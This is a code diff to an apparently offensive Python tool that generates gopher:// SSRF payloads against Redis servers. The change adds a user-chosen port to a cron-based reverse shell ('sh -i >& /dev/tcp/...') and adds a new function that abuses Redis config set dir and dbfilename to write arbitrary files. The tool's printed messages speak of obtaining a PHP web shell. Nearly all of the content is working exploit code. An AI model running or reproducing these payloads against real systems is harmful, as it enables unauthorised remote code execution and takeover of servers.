diff --git a/scripts/Redis.py b/scripts/Redis.py index fbea515..b2277a0 100644 --- a/scripts/Redis.py +++ b/scripts/Redis.py @@ -3,12 +3,15 @@ def Redis(): def get_Redis_ReverseShell(): server = raw_input("\033[96m" +"\nGive your IP Address to connect with victim through Revershell (default is 127.0.0.1): "+ "\033[0m") + port = raw_input("\033[96m" +"\nGive your Port to connect with victim through Revershell (default is 4444): "+ "\033[0m") crontab_dir = raw_input("\033[96m" +"What can be his Crontab Directory location\n## For debugging(locally) you can use /var/lib/redis : "+ "\033[0m") if(not server): server = "127.0.0.1" + if(not port): + port = "4444" if(not crontab_dir): crontab_dir = "/var/spool/cron/" - cmd = '*/1 * * * * bash -c "sh -i >& /dev/tcp/' + server + '/1234 0>&1"' + cmd = '*/1 * * * * bash -c "sh -i >& /dev/tcp/' + server + '/'+port+' 0>&1"' len_cmd = len(cmd) + 5 payload = """*1\r $8\r @@ -108,13 +111,72 @@ def get_Redis_PHPShell(): print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m" + def get_Redis_FileWrite(): + directory = raw_input("\033[96m" +"\nGive directory to write "+ "\033[0m") + filename = raw_input("\033[96m" +"Give filename: "+ "\033[0m") + content = raw_input("\033[96m" +"Give content: "+ "\033[0m") + default = "h3ll0" + if(not content): + content = default + if(not directory): + directory = "/tmp" + if not filename: + filename = 'h1' + payload = """*1\r +$8\r +flushall\r +*3\r +$3\r +set\r +$1\r +1\r +$""" + str(len(content) + 4) + """\r + + +""" + content + """ + +\r +*4\r +$6\r +config\r +$3\r +set\r +$3\r +dir\r +$""" + str(len(directory)) + """\r +""" + directory + """\r +*4\r +$6\r +config\r +$3\r +set\r +$10\r +dbfilename\r +$""" + str(len(filename)) + """\r +""" + filename + """\r +*1\r +$4\r +save\r + +""" + finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":") + print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m" + print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m" + print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m" + print "\n" + "\033[41m" +"-----------Made-by-Q5Ca-----------"+"\033[0m" + + + + print "\033[01m"+"\nReady To get SHELL\n"+ "\033[0m" - what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell): "+ "\033[0m") + what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell/FileWrite): "+ "\033[0m") what = what.lower() if("rev" in what): get_Redis_ReverseShell() elif("php" in what): get_Redis_PHPShell() + elif("write"in what): + get_Redis_FileWrite() else: - print "\033[93m" +"Plz choose between those two"+ "\033[0m" + print "\033[93m" +"Plz choose between those three"+ "\033[0m" exit()